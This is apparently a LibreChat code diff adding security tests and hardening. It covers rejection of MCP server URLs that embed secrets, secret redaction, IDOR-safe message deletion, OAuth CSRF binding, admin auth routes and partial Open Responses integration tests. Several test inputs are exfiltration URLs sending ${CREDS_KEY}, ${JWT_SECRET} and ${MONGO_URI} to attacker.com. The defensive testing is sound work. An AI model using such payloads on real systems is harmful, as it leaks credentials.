expect(response.body.message).toBe('Invalid configuration'); + expect(mockRegistryInstance.addServer).not.toHaveBeenCalled(); + }); + + it('should reject streamable-http URL containing env variable references', async () => { + const response = await request(app) + .post('/api/mcp/servers') + .send({ + config: { + type: 'streamable-http', + url: 'http://attacker.com/?key=${CREDS_KEY}&iv=${CREDS_IV}', + }, + }); + + expect(response.status).toBe(400); + expect(response.body.message).toBe('Invalid configuration'); + expect(mockRegistryInstance.addServer).not.toHaveBeenCalled(); + }); + + it('should reject websocket URL containing env variable references', async () => { + const response = await request(app) + .post('/api/mcp/servers') + .send({ + config: { + type: 'websocket', + url: 'ws://attacker.com/?secret=${MONGO_URI}', + }, + }); + + expect(response.status).toBe(400); + expect(response.body.message).toBe('Invalid configuration'); + expect(mockRegistryInstance.addServer).not.toHaveBeenCalled(); + }); + + it('should redact secrets from create response', async () => { + const validConfig = { + type: 'sse', + url: 'https://mcp-server.example.com/sse', + title: 'Test Server', + }; + + mockRegistryInstance.addServer.mockResolvedValue({ + serverName: 'test-server', + config: { + ...validConfig, + apiKey: { source: 'admin', authorization_type: 'bearer', key: 'admin-secret-key' }, + oauth: { client_id: 'cid', client_secret: 'admin-oauth-secret' }, + headers: { Authorization: 'Bearer leaked-token' }, + }, + }); + + const response = await request(app).post('/api/mcp/servers').send({ config: validConfig }); + + expect(response.status).toBe(201); + expect(response.body.apiKey?.key).toBeUndefined(); + expect(response.body.oauth?.client_secret).toBeUndefined(); + expect(response.body.headers).toBeUndefined(); + expect(response.body.apiKey?.source).toBe('admin'); + expect(response.body.oauth?.client_id).toBe('cid'); + }); + it('should return 500 when registry throws error', async () => { const validConfig = { type: 'sse', @@ -1624,7 +1933,9 @@ describe('MCP Routes', () => { const response = await request(app).get('/api/mcp/servers/test-server'); expect(response.status).toBe(200); - expect(response.body).toEqual(mockConfig); + expect(response.body.type).toBe('sse'); + expect(response.body.url).toBe('https://mcp-server.example.com/sse'); + expect(response.body.title).toBe('Test Server'); expect(mockRegistryInstance.getServerConfig).toHaveBeenCalledWith( 'test-server', 'test-user-id', @@ -1640,6 +1951,29 @@ describe('MCP Routes', () => { expect(response.body).toEqual({ message: 'MCP server not found' }); }); + it('should redact secrets from get response', async () => { + mockRegistryInstance.getServerConfig.mockResolvedValue({ + type: 'sse', + url: 'https://mcp-server.example.com/sse', + title: 'Secret Server', + apiKey: { source: 'admin', authorization_type: 'bearer', key: 'decrypted-admin-key' }, + oauth: { client_id: 'cid', client_secret: 'decrypted-oauth-secret' }, + headers: { Authorization: 'Bearer internal-token' }, + oauth_headers: { 'X-OAuth': 'secret-value' }, + }); + + const response = await request(app).get('/api/mcp/servers/secret-server'); + + expect(response.status).toBe(200); + expect(response.body.title).toBe('Secret Server'); + expect(response.body.apiKey?.key).toBeUndefined(); + expect(response.body.apiKey?.source).toBe('admin'); + expect(response.body.oauth?.client_secret).toBeUndefined(); + expect(response.body.oauth?.client_id).toBe('cid'); + expect(response.body.headers).toBeUndefined(); + expect(response.body.oauth_headers).toBeUndefined(); + }); + it('should return 500 when registry throws error', async () => { mockRegistryInstance.getServerConfig.mockRejectedValue(new Error('Database error')); @@ -1666,7 +2000,9 @@ describe('MCP Routes', () => { .send({ config: updatedConfig }); expect(response.status).toBe(200); - expect(response.body).toEqual(updatedConfig); + expect(response.body.type).toBe('sse'); + expect(response.body.url).toBe('https://updated-mcp-server.example.com/sse'); + expect(response.body.title).toBe('Updated Server'); expect(mockRegistryInstance.updateServer).toHaveBeenCalledWith( 'test-server', expect.objectContaining({ @@ -1678,6 +2014,35 @@ describe('MCP Routes', () => { ); }); + it('should redact secrets from update response', async () => { + const validConfig = { + type: 'sse', + url: 'https://mcp-server.example.com/sse', + title: 'Updated Server', + }; + + mockRegistryInstance.updateServer.mockResolvedValue({ + ...validConfig, + apiKey: { source: 'admin', authorization_type: 'bearer', key: 'preserved-admin-key' }, + oauth: { client_id: 'cid', client_secret: 'preserved-oauth-secret' }, + headers: { Authorization: 'Bearer internal-token' }, + env: { DATABASE_URL: 'postgres://admin:pass@localhost/db' }, + }); + + const response = await request(app) + .patch('/api/mcp/servers/test-server') + .send({ config: validConfig }); + + expect(response.status).toBe(200); + expect(response.body.title).toBe('Updated Server'); + expect(response.body.apiKey?.key).toBeUndefined(); + expect(response.body.apiKey?.source).toBe('admin'); + expect(response.body.oauth?.client_secret).toBeUndefined(); + expect(response.body.oauth?.client_id).toBe('cid'); + expect(response.body.headers).toBeUndefined(); + expect(response.body.env).toBeUndefined(); + }); + it('should return 400 for invalid configuration', async () => { const invalidConfig = { type: 'sse', @@ -1694,6 +2059,51 @@ describe('MCP Routes', () => { expect(response.body.errors).toBeDefined(); }); + it('should reject SSE URL containing env variable references', async () => { + const response = await request(app) + .patch('/api/mcp/servers/test-server') + .send({ + config: { + type: 'sse', + url: 'http://attacker.com/?secret=${JWT_SECRET}', + }, + }); + + expect(response.status).toBe(400); + expect(response.body.message).toBe('Invalid configuration'); + expect(mockRegistryInstance.updateServer).not.toHaveBeenCalled(); + }); + + it('should reject streamable-http URL containing env variable references', async () => { + const response = await request(app) + .patch('/api/mcp/servers/test-server') + .send({ + config: { + type: 'streamable-http', + url: 'http://attacker.com/?key=${CREDS_KEY}', + }, + }); + + expect(response.status).toBe(400); + expect(response.body.message).toBe('Invalid configuration'); + expect(mockRegistryInstance.updateServer).not.toHaveBeenCalled(); + }); + + it('should reject websocket URL containing env variable references', async () => { + const response = await request(app) + .patch('/api/mcp/servers/test-server') + .send({ + config: { + type: 'websocket', + url: 'ws://attacker.com/?secret=${MONGO_URI}', + }, + }); + + expect(response.status).toBe(400); + expect(response.body.message).toBe('Invalid configuration'); + expect(mockRegistryInstance.updateServer).not.toHaveBeenCalled(); + }); + it('should return 500 when registry throws error', async () => { const validConfig = { type: 'sse', diff --git a/api/server/routes/__tests__/messages-delete.spec.js b/api/server/routes/__tests__/messages-delete.spec.js new file mode 100644 index 0000000000..e134eecfd0 --- /dev/null +++ b/api/server/routes/__tests__/messages-delete.spec.js @@ -0,0 +1,200 @@ +const mongoose = require('mongoose'); +const express = require('express'); +const request = require('supertest'); +const { v4: uuidv4 } = require('uuid'); +const { MongoMemoryServer } = require('mongodb-memory-server'); + +jest.mock('@librechat/agents', () => ({ + sleep: jest.fn(), +})); + +jest.mock('@librechat/api', () => ({ + unescapeLaTeX: jest.fn((x) => x), + countTokens: jest.fn().mockResolvedValue(10), +})); + +jest.mock('@librechat/data-schemas', () => ({ + ...jest.requireActual('@librechat/data-schemas'), + logger: { + debug: jest.fn(), + info: jest.fn(), + warn: jest.fn(), + error: jest.fn(), + }, +})); + +jest.mock('librechat-data-provider', () => ({ + ...jest.requireActual('librechat-data-provider'), +})); + +jest.mock('~/models', () => ({ + saveConvo: jest.fn(), + getMessage: jest.fn(), + saveMessage: jest.fn(), + getMessages: jest.fn(), + updateMessage: jest.fn(), + deleteMessages: jest.fn(), +})); + +jest.mock('~/server/services/Artifacts/update', () => ({ + findAllArtifacts: jest.fn(), + replaceArtifactContent: jest.fn(), +})); + +jest.mock('~/server/middleware/requireJwtAuth', () => (req, res, next) => next()); + +jest.mock('~/server/middleware', () => ({ + requireJwtAuth: (req, res, next) => next(), + validateMessageReq: (req, res, next) => next(), +})); + +jest.mock('~/models/Conversation', () => ({ + getConvosQueried: jest.fn(), +})); + +jest.mock('~/db/models', () => ({ + Message: { + findOne: jest.fn(), + find: jest.fn(), + meiliSearch: jest.fn(), + }, +})); + +/* ─── Model-level tests: real MongoDB, proves cross-user deletion is prevented ─── */ + +const { messageSchema } = require('@librechat/data-schemas'); + +describe('deleteMessages – model-level IDOR prevention', () => { + let mongoServer; + let Message; + + const ownerUserId = 'user-owner-111'; + const attackerUserId = 'user-attacker-222'; + + beforeAll(async () => { + mongoServer = await MongoMemoryServer.create(); + Message = mongoose.models.Message || mongoose.model('Message', messageSchema); + await mongoose.connect(mongoServer.getUri()); + }); + + afterAll(async () => { + await mongoose.disconnect(); + await mongoServer.stop(); + }); + + beforeEach(async () => { + await Message.deleteMany({}); + }); + + it("should NOT delete another user's message when attacker supplies victim messageId", async () => { + const conversationId = uuidv4(); + const victimMsgId = 'victim-msg-001'; + + await Message.create({ + messageId: victimMsgId, + conversationId, + user: ownerUserId, + text: 'Sensitive owner data', + }); + + await Message.deleteMany({ messageId: victimMsgId, user: attackerUserId }); + + const victimMsg = await Message.findOne({ messageId: victimMsgId }).lean(); + expect(victimMsg).not.toBeNull(); + expect(victimMsg.user).toBe(ownerUserId); + expect(victimMsg.text).toBe('Sensitive owner data'); + }); + + it("should delete the user's own message", async () => { + const conversationId = uuidv4(); + const ownMsgId = 'own-msg-001'; + + await Message.create({ + messageId: ownMsgId, + conversationId, + user: ownerUserId, + text: 'My message', + }); + + const result = await Message.deleteMany({ messageId: ownMsgId, user: ownerUserId }); + expect(result.deletedCount).toBe(1); + + const deleted = await Message.findOne({ messageId: ownMsgId }).lean(); + expect(deleted).toBeNull(); + }); + + it('should scope deletion by conversationId, messageId, and user together', async () => { + const convoA = uuidv4(); + const convoB = uuidv4(); + + await Message.create([ + { messageId: 'msg-a1', conversationId: convoA, user: ownerUserId, text: 'A1' }, + { messageId: 'msg-b1', conversationId: convoB, user: ownerUserId, text: 'B1' }, + ]); + + await Message.deleteMany({ messageId: 'msg-a1', conversationId: convoA, user: attackerUserId }); + + const remaining = await Message.find({ user: ownerUserId }).lean(); + expect(remaining).toHaveLength(2); + }); +}); + +/* ─── Route-level tests: supertest + mocked deleteMessages ─── */ + +describe('DELETE /:conversationId/:messageId – route handler', () => { + let app; + const { deleteMessages } = require('~/models'); + + const authenticatedUserId = 'user-owner-123'; + + beforeAll(() => { + const messagesRouter = require('../messages'); + + app = express(); + app.use(express.json()); + app.use((req, res, next) => { + req.user = { id: authenticatedUserId }; + next(); + }); + app.use('/api/messages', messagesRouter); + }); + + beforeEach(() => { + jest.clearAllMocks(); + }); + + it('should pass user and conversationId in the deleteMessages filter', async () => { + deleteMessages.mockResolvedValue({ deletedCount: 1 }); + + await request(app).delete('/api/messages/convo-1/msg-1'); + + expect(deleteMessages).toHaveBeenCalledTimes(1); + expect(deleteMessages).toHaveBeenCalledWith({ + messageId: 'msg-1', + conversationId: 'convo-1', + user: authenticatedUserId, + }); + }); + + it('should return 204 on successful deletion', async () => { + deleteMessages.mockResolvedValue({ deletedCount: 1 }); + + const response = await request(app).delete('/api/messages/convo-1/msg-owned'); + + expect(response.status).toBe(204); + expect(deleteMessages).toHaveBeenCalledWith({ + messageId: 'msg-owned', + conversationId: 'convo-1', + user: authenticatedUserId, + }); + }); + + it('should return 500 when deleteMessages throws', async () => { + deleteMessages.mockRejectedValue(new Error('DB failure')); + + const response = await request(app).delete('/api/messages/convo-1/msg-1'); + + expect(response.status).toBe(500); + expect(response.body).toEqual({ error: 'Internal server error' }); + }); +}); diff --git a/api/server/routes/accessPermissions.js b/api/server/routes/accessPermissions.js index 79e7f3ddca..45afec133b 100644 --- a/api/server/routes/accessPermissions.js +++ b/api/server/routes/accessPermissions.js @@ -53,6 +53,12 @@ const checkResourcePermissionAccess = (requiredPermission) => (req, res, next) = requiredPermission, resourceIdParam: 'resourceId', }); + } else if (resourceType === ResourceType.REMOTE_AGENT) { + middleware = canAccessResource({ + resourceType: ResourceType.REMOTE_AGENT, + requiredPermission, + resourceIdParam: 'resourceId', + }); } else if (resourceType === ResourceType.PROMPTGROUP) { middleware = canAccessResource({ resourceType: ResourceType.PROMPTGROUP, diff --git a/api/server/routes/actions.js b/api/server/routes/actions.js index 14474a53d3..806edc66cc 100644 --- a/api/server/routes/actions.js +++ b/api/server/routes/actions.js @@ -1,14 +1,47 @@ const express = require('express'); const jwt = require('jsonwebtoken'); -const { getAccessToken, getBasePath } = require('@librechat/api'); const { logger } = require('@librechat/data-schemas'); const { CacheKeys } = require('librechat-data-provider'); +const { + getBasePath, + getAccessToken, + setOAuthSession, + validateOAuthCsrf, + OAUTH_CSRF_COOKIE, + setOAuthCsrfCookie, + validateOAuthSession, + OAUTH_SESSION_COOKIE, +} = require('@librechat/api'); const { findToken, updateToken, createToken } = require('~/models'); +const { requireJwtAuth } = require('~/server/middleware'); const { getFlowStateManager } = require('~/config'); const { getLogStores } = require('~/cache'); const router = express.Router(); const JWT_SECRET = process.env.JWT_SECRET; +const OAUTH_CSRF_COOKIE_PATH = '/api/actions'; + +/** + * Sets a CSRF cookie binding the action OAuth flow to the current browser session. + * Must be called before the user opens the IdP authorization URL. + * + * @route POST /actions/:action_id/oauth/bind + */ +router.post('/:action_id/oauth/bind', requireJwtAuth, setOAuthSession, async (req, res) => { + try { + const { action_id } = req.params; + const user = req.user; + if (!user?.id) { + return res.status(401).json({ error: 'User not authenticated' }); + } + const flowId = `${user.id}:${action_id}`; + setOAuthCsrfCookie(res, flowId, OAUTH_CSRF_COOKIE_PATH); + res.json({ success: true }); + } catch (error) { + logger.error('[Action OAuth] Failed to set CSRF binding cookie', error); + res.status(500).json({ error: 'Failed to bind OAuth flow' }); + } +}); /** * Handles the OAuth callback and exchanges the authorization code for tokens. @@ -45,7 +78,22 @@ router.get('/:action_id/oauth/callback', async (req, res) => { await flowManager.failFlow(identifier, 'oauth', 'Invalid user ID in state parameter'); return res.redirect(`${basePath}/oauth/error?error=invalid_state`); } + identifier = `${decodedState.user}:${action_id}`; + + if ( + !validateOAuthCsrf(req, res, identifier, OAUTH_CSRF_COOKIE_PATH) && + !validateOAuthSession(req, decodedState.user) + ) { + logger.error('[Action OAuth] CSRF validation failed: no valid CSRF or session cookie', { + identifier, + hasCsrfCookie: !!req.cookies?.[OAUTH_CSRF_COOKIE], + hasSessionCookie: !!req.cookies?.[OAUTH_SESSION_COOKIE], + }); + await flowManager.failFlow(identifier, 'oauth', 'CSRF validation failed'); + return res.redirect(`${basePath}/oauth/error?error=csrf_validation_failed`); + } + const flowState = await flowManager.getFlowState(identifier, 'oauth'); if (!flowState) { throw new Error('OAuth flow not found'); @@ -71,7 +119,6 @@ router.get('/:action_id/oauth/callback', async (req, res) => { ); await flowManager.completeFlow(identifier, 'oauth', tokenData); - /** Redirect to React success page */ const serverName = flowState.metadata?.action_name || `Action ${action_id}`; const redirectUrl = `${basePath}/oauth/success?serverName=${encodeURIComponent(serverName)}`; res.redirect(redirectUrl); diff --git a/api/server/routes/admin/auth.js b/api/server/routes/admin/auth.js new file mode 100644 index 0000000000..291b5eaaf8 --- /dev/null +++ b/api/server/routes/admin/auth.js @@ -0,0 +1,127 @@ +const express = require('express'); +const passport = require('passport'); +const { randomState } = require('openid-client'); +const { logger } = require('@librechat/data-schemas'); +const { CacheKeys } = require('librechat-data-provider'); +const { + requireAdmin, + getAdminPanelUrl, + exchangeAdminCode, + createSetBalanceConfig, +} = require('@librechat/api'); +const { loginController } = require('~/server/controllers/auth/LoginController'); +const { createOAuthHandler } = require('~/server/controllers/auth/oauth'); +const { getAppConfig } = require('~/server/services/Config'); +const getLogStores = require('~/cache/getLogStores'); +const { getOpenIdConfig } = require('~/strategies'); +const middleware = require('~/server/middleware'); +const { Balance } = require('~/db/models'); + +const setBalanceConfig = createSetBalanceConfig({ + getAppConfig, + Balance, +}); + +const router = express.Router(); + +router.post( + '/login/local', + middleware.logHeaders, + middleware.loginLimiter, + middleware.checkBan, + middleware.requireLocalAuth, + requireAdmin, + setBalanceConfig, + loginController, +); + +router.get('/verify', middleware.requireJwtAuth, requireAdmin, (req, res) => { + const { password: _p, totpSecret: _t, __v, ...user } = req.user; + user.id = user._id.toString(); + res.status(200).json({ user }); +}); + +router.get('/oauth/openid/check', (req, res) => { + const openidConfig = getOpenIdConfig(); + if (!openidConfig) { + return res.status(404).json({ + error: 'OpenID configuration not found', + error_code: 'OPENID_NOT_CONFIGURED', + }); + } + res.status(200).json({ message: 'OpenID check successful' }); +}); + +router.get('/oauth/openid', (req, res, next) => { + return passport.authenticate('openidAdmin', { + session: false, + state: randomState(), + })(req, res, next); +}); + +router.get( + '/oauth/openid/callback', + passport.authenticate('openidAdmin', { + failureRedirect: `${getAdminPanelUrl()}/auth/openid/callback?error=auth_failed&error_description=Authentication+failed`, + failureMessage: true, + session: false, + }), + requireAdmin, + setBalanceConfig, + middleware.checkDomainAllowed, + createOAuthHandler(`${getAdminPanelUrl()}/auth/openid/callback`), +); + +/** Regex pattern for valid exchange codes: 64 hex characters */ +const EXCHANGE_CODE_PATTERN = /^[a-f0-9]{64}$/i; + +/** + * Exchange OAuth authorization code for tokens. + * This endpoint is called server-to-server by the admin panel. + * The code is one-time-use and expires in 30 seconds. + * + * POST /api/admin/oauth/exchange + * Body: { code: string } + * Response: { token: string, refreshToken: string, user: object } + */ +router.post('/oauth/exchange', middleware.loginLimiter, async (req, res) => { + try { + const { code } = req.body; + + if (!code) { + logger.warn('[admin/oauth/exchange] Missing authorization code'); + return res.status(400).json({ + error: 'Missing authorization code', + error_code: 'MISSING_CODE', + }); + } + + if (typeof code !== 'string' || !EXCHANGE_CODE_PATTERN.test(code)) { + logger.warn('[admin/oauth/exchange] Invalid authorization code format'); + return res.status(400).json({ + error: 'Invalid authorization code format', + error_code: 'INVALID_CODE_FORMAT', + }); + } + + const cache = getLogStores(CacheKeys.ADMIN_OAUTH_EXCHANGE); + const result = await exchangeAdminCode(cache, code); + + if (!result) { + return res.status(401).json({ + error: 'Invalid or expired authorization code', + error_code: 'INVALID_OR_EXPIRED_CODE', + }); + } + + res.json(result); + } catch (error) { + logger.error('[admin/oauth/exchange] Error:', error); + res.status(500).json({ + error: 'Internal server error', + error_code: 'INTERNAL_ERROR', + }); + } +}); + +module.exports = router; diff --git a/api/server/routes/agents/__tests__/abort.spec.js b/api/server/routes/agents/__tests__/abort.spec.js index e879d51452..442665d973 100644 --- a/api/server/routes/agents/__tests__/abort.spec.js +++ b/api/server/routes/agents/__tests__/abort.spec.js @@ -26,10 +26,12 @@ const mockGenerationJobManager = { const mockSaveMessage = jest.fn(); jest.mock('@librechat/data-schemas', () => ({ + ...jest.requireActual('@librechat/data-schemas'), logger: mockLogger, })); jest.mock('@librechat/api', () => ({ + ...jest.requireActual('@librechat/api'), isEnabled: jest.fn().mockReturnValue(false), GenerationJobManager: mockGenerationJobManager, })); diff --git a/api/server/routes/agents/__tests__/responses.spec.js b/api/server/routes/agents/__tests__/responses.spec.js new file mode 100644 index 0000000000..4d83219b84 --- /dev/null +++ b/api/server/routes/agents/__tests__/responses.spec.js @@ -0,0 +1,1125 @@ +/** + * Open Responses API Integration Tests + * + * Tests the /v1/responses endpoint against the Open Responses specification + * compliance tests. Uses real Anthropic API for LLM calls. + * + * @see https://openresponses.org/specification + * @see https://github.com/openresponses/openresponses/blob/main/src/lib/compliance-tests.ts + */ + +// Load environment variables from root .env file for API keys +require('dotenv').config({ path: require('path').resolve(__dirname, '../../../../../.env') }); + +const originalEnv = { + CREDS_KEY: process.env.CREDS_KEY, + CREDS_IV: process.env.CREDS_IV, +}; + +process.env.CREDS_KEY = '0123456789abcdef0123456789abcdef'; +process.env.CREDS_IV = '0123456789abcdef'; + +/** Skip tests if ANTHROPIC_API_KEY is not available */ +const SKIP_INTEGRATION_TESTS = !process.env.ANTHROPIC_API_KEY; +if (SKIP_INTEGRATION_TESTS) { + console.warn('ANTHROPIC_API_KEY not found - skipping integration tests'); +} + +jest.mock('meilisearch', () => ({ + MeiliSearch: jest.fn().mockImplementation(() => ({ + getIndex: jest.fn().mockRejectedValue(new Error('mocked')), + index: jest.fn().mockReturnValue({ + getRawInfo: jest.fn().mockResolvedValue({ primaryKey: 'id' }), + updateSettings: jest.fn().mockResolvedValue({}), + addDocuments: jest.fn().mockResolvedValue({}), + updateDocuments: jest.fn().mockResolvedValue({}), + deleteDocument: jest.fn().mockResolvedValue({}), + }), + })), +})); + +jest.mock('~/server/services/Config', () => ({ + loadCustomConfig: jest.fn(() => Promise.resolve({})), + getAppConfig: jest.fn().mockResolvedValue({ + paths: { + uploads: '/tmp', + dist: '/tmp/dist', + fonts: '/tmp/fonts', + assets: '/tmp/assets', + }, + fileStrategy: 'local', + imageOutputType: 'PNG', + endpoints: { + agents: { + allowedProviders: ['anthropic', 'openAI'], + }, + }, + }), + setCachedTools: jest.fn(), + getCachedTools: jest.fn(), + getMCPServerTools: jest.fn().mockReturnValue([]), +})); + +jest.mock('~/app/clients/tools', () => ({ + createOpenAIImageTools: jest.fn(() => []), + createYouTubeTools: jest.fn(() => []), + manifestToolMap: {}, + toolkits: [], +})); + +jest.mock('~/config', () => ({ + createMCPServersRegistry: jest.fn(), + createMCPManager: jest.fn().mockResolvedValue({ + getAppToolFunctions: jest.fn().mockResolvedValue({}), + }), +})); + +const express = require('express'); +const request = require('supertest'); +const mongoose = require('mongoose'); +const { v4: uuidv4 } = require('uuid'); +const { MongoMemoryServer } = require('mongodb-memory-server'); +const { hashToken, getRandomValues, createModels } = require('@librechat/data-schemas'); +const { + SystemRoles, + ResourceType, + AccessRoleIds, + PrincipalType, + PrincipalModel, + PermissionBits, + EModelEndpoint, +} = require('librechat-data-provider'); + +/** @type {import('mongoose').Model} */ +let Agent; +/** @type {import('mongoose').Model} */ +let AgentApiKey; +/** @type {import('mongoose').Model} */ +let User; +/** @type {import('mongoose').Model} */ +let AclEntry; +/** @type {import('mongoose').Model} */ +let AccessRole; + +/** + * Parse SSE stream into events + * @param {string} text - Raw SSE text + * @returns {Array<{event: string, data: unknown}>} + */ +function parseSSEEvents(text) { + const events = []; + const lines = text.split('\n'); + + let currentEvent = ''; + let currentData = ''; + + for (const line of lines) { + if (line.startsWith('event:')) { + currentEvent = line.slice(6).trim(); + } else if (line.startsWith('data:')) { + currentData = line.slice(5).trim(); + } else if (line === '' && currentData) { + if (currentData === '[DONE]') { + events.push({ event: 'done', data: '[DONE]' }); + } else { + try { + const parsed = JSON.parse(currentData); + events.push({ + event: currentEvent || parsed.type || 'unknown', + data: parsed, + }); + } catch { + // Skip unparseable data + } + } + currentEvent = ''; + currentData = ''; + } + } + + return events; +} + +/** + * Valid streaming event types per Open Responses specification + * @see https://github.com/openresponses/openresponses/blob/main/src/lib/sse-parser.ts + */ +const VALID_STREAMING_EVENT_TYPES = new Set([ + // Standard Open Responses events + 'response.created', + 'response.queued', + 'response.in_progress', + 'response.completed', + 'response.failed', + 'response.incomplete', + 'response.output_item.added', + 'response.output_item.done', + 'response.content_part.added', + 'response.content_part.done', + 'response.output_text.delta', + 'response.output_text.done', + 'response.refusal.delta', + 'response.refusal.done', + 'response.function_call_arguments.delta', + 'response.function_call_arguments.done', + 'response.reasoning_summary_part.added', + 'response.reasoning_summary_part.done', + 'response.reasoning.delta', + 'response.reasoning.done', + 'response.reasoning_summary_text.delta', + 'response.reasoning_summary_text.done', + 'response.output_text.annotation.added', + 'error', + // LibreChat extension events (prefixed per Open Responses spec) + // @see https://openresponses.org/specification#extending-streaming-events + 'librechat:attachment', +]); + +/** + * Validate a streaming event against Open Responses spec + * @param {Object} event - Parsed event with data + * @returns {string[]} Array of validation errors + */ +function validateStreamingEvent(event) { + const errors = []; + const data = event.data; + + if (!data || typeof data !== 'object') { + return errors; // Skip non-object data (e.g., [DONE]) + } + + const eventType = data.type; + + // Check event type is valid + if (!VALID_STREAMING_EVENT_TYPES.has(eventType)) { + errors.push(`Invalid event type: ${eventType}`); + return errors; + } + + // Validate required fields based on event type + switch (eventType) { + case 'response.output_text.delta': + if (typeof data.sequence_number !== 'number') { + errors.push('response.output_text.delta: missing sequence_number'); + } + if (typeof data.item_id !== 'string') { + errors.push('response.output_text.delta: missing item_id'); + } + if (typeof data.output_index !== 'number') { + errors.push('response.output_text.delta: missing output_index'); + } + if (typeof data.content_index !== 'number') { + errors.push('response.output_text.delta: missing content_index'); + } + if (typeof data.delta !== 'string') { + errors.push('response.output_text.delta: missing delta'); + } + if (!Array.isArray(data.logprobs)) { + errors.push('response.output_text.delta: missing logprobs array'); + } + break; + + case 'response.output_text.done': + if (typeof data.sequence_number !== 'number') { + errors.push('response.output_text.done: missing sequence_number'); + } + if (typeof data.item_id !== 'string') { + errors.push('response.output_text.done: missing item_id'); + } + if (typeof data.output_index !== 'number') { + errors.push('response.output_text.done: missing output_index'); + } + if (typeof data.content_index !== 'number') { + errors.push('response.output_text.done: missing content_index'); + } + if (typeof data.text !== 'string') { + errors.push('response.output_text.done: missing text'); + } + if (!Array.isArray(data.logprobs)) { + errors.push('response.output_text.done: missing logprobs array'); + } + break; + + case 'response.reasoning.delta': + if (typeof data.sequence_number !== 'number') { + errors.push('response.reasoning.delta: missing sequence_number'); + } + if (typeof data.item_id !== 'string') { + errors.push('response.reasoning.delta: missing item_id'); + } + if (typeof data.output_index !== 'number') { + errors.push('response.reasoning.delta: missing output_index'); + } + if (typeof data.content_index !== 'number') { + errors.push('response.reasoning.delta: missing content_index'); + } + if (typeof data.delta !== 'string') { + errors.push('response.reasoning.delta: missing delta'); + } + break; + + case 'response.reasoning.done': + if (typeof data.sequence_number !== 'number') { + errors.push('response.reasoning.done: missing sequence_number'); + } + if (typeof data.item_id !== 'string') { + errors.push('response.reasoning.done: missing item_id'); + } + if (typeof data.output_index !== 'number') { + errors.push('response.reasoning.done: missing output_index'); + } + if (typeof data.content_index !== 'number') { + errors.push('response.reasoning.done: missing content_index'); + } + if (typeof data.text !== 'string') { + errors.push('response.reasoning.done: missing text'); + } + break; + + case 'response.in_progress': + case 'response.completed': + case 'response.failed': + if (!data.response || typeof data.response !== 'object') { + errors.push(`${eventType}: missing response object`); + } + break; + + case 'response.output_item.added': + case 'response.output_item.done': + if (typeof data.output_index !== 'number') { + errors.push(`${eventType}: missing output_index`); + } + if (!data.item || typeof data.item !== 'object') { + errors.push(`${eventType}: missing item object`); + } + break; + } + + return errors; +} + +/** + * Validate all streaming events and return errors + * @param {Array} events - Array of parsed events + * @returns {string[]} Array of all validation errors + */ +function validateAllStreamingEvents(events) { + const allErrors = []; + for (const event of events) { + const errors = validateStreamingEvent(event); + allErrors.push(...errors); + } + return allErrors; +} + +/** + * Create a test agent with Anthropic provider + * @param {Object} overrides + * @returns {Promise} + */ +async function createTestAgent(overrides = {}) { + const timestamp = new Date(); + const agentData = { + id: `agent_${uuidv4().replace(/-/g, '').substring(0, 21)}`, + name: 'Test Anthropic Agent', + description: 'An agent for testing Open Responses API', + instructions: 'You are a helpful assistant. Be concise.', + provider: EModelEndpoint.anthropic, + model: 'claude-sonnet-4-5-20250929', + author: new mongoose.Types.ObjectId(), + tools: [], + model_parameters: {}, + ...overrides, + }; + + const versionData = { ...agentData }; + delete versionData.author; + + const initialAgentData = { + ...agentData, + versions: [ + { + ...versionData, + createdAt: timestamp, + updatedAt: timestamp, + }, + ], + category: 'general', + }; + + return (await Agent.create(initialAgentData)).toObject(); +} + +/** + * Create an agent with extended thinking enabled + * @param {Object} overrides + * @returns {Promise} + */ +async function createThinkingAgent(overrides = {}) { + return createTestAgent({ + name: 'Test Thinking Agent', + description: 'An agent with extended thinking enabled', + model_parameters: { + thinking: { + type: 'enabled', + budget_tokens: 5000, + }, + }, + ...overrides, + }); +} + +const describeWithApiKey = SKIP_INTEGRATION_TESTS ? describe.skip : describe; + +describeWithApiKey('Open Responses API Integration Tests', () => { + // Increase timeout for real API calls + jest.setTimeout(120000); + + let mongoServer; + let app; + let testAgent; + let thinkingAgent; + let testUser; + let testApiKey; // The raw API key for Authorization header + + afterAll(() => { + process.env.CREDS_KEY = originalEnv.CREDS_KEY; + process.env.CREDS_IV = originalEnv.CREDS_IV; + }); + + beforeAll(async () => { + // Start MongoDB Memory Server + mongoServer = await MongoMemoryServer.create(); + const mongoUri = mongoServer.getUri(); + + // Connect to MongoDB + await mongoose.connect(mongoUri); + + // Register all models + const models = createModels(mongoose); + + // Get models + Agent = models.Agent; + AgentApiKey = models.AgentApiKey; + User = models.User; + AclEntry = models.AclEntry; + AccessRole = models.AccessRole; + + // Create minimal Express app with just the responses routes + app = express(); + app.use(express.json()); + + // Mount the responses routes + const responsesRoutes = require('~/server/routes/agents/responses'); + app.use('/api/agents/v1/responses', responsesRoutes); + + // Create test user + testUser = await User.create({ + name: 'Test API User', + username: 'testapiuser', + email: 'testapiuser@test.com', + emailVerified: true, + provider: 'local', + role: SystemRoles.ADMIN, + }); + + // Create REMOTE_AGENT access roles (if they don't exist) + const existingRoles = await AccessRole.find({ + accessRoleId: { + $in: [ + AccessRoleIds.REMOTE_AGENT_VIEWER, + AccessRoleIds.REMOTE_AGENT_EDITOR, + AccessRoleIds.REMOTE_AGENT_OWNER, + ], + }, + }); + + if (existingRoles.length === 0) { + await AccessRole.create([ + { + accessRoleId: AccessRoleIds.REMOTE_AGENT_VIEWER, + name: 'API Viewer', + description: 'Can query the agent via API', + resourceType: ResourceType.REMOTE_AGENT, + permBits: PermissionBits.VIEW, + }, + { + accessRoleId: AccessRoleIds.REMOTE_AGENT_EDITOR, + name: 'API Editor', + description: 'Can view and modify the agent via API', + resourceType: ResourceType.REMOTE_AGENT, + permBits: PermissionBits.VIEW | PermissionBits.EDIT, + }, + { + accessRoleId: AccessRoleIds.REMOTE_AGENT_OWNER, + name: 'API Owner', + description: 'Full API access + can grant remote access to others', + resourceType: ResourceType.REMOTE_AGENT, + permBits: + PermissionBits.VIEW | + PermissionBits.EDIT | + PermissionBits.DELETE | + PermissionBits.SHARE, + }, + ]); + } + + // Generate and create an API key for the test user + const rawKey = `sk-${await getRandomValues(32)}`; + const keyHash = await hashToken(rawKey); + const keyPrefix = rawKey.substring(0, 8); + + await AgentApiKey.create({ + userId: testUser._id, + name: 'Test API Key', + keyHash, + keyPrefix, + }); + + testApiKey = rawKey; + + // Create test agents with the test user as author + testAgent = await createTestAgent({ author: testUser._id }); + thinkingAgent = await createThinkingAgent({ author: testUser._id }); + + // Grant REMOTE_AGENT permissions 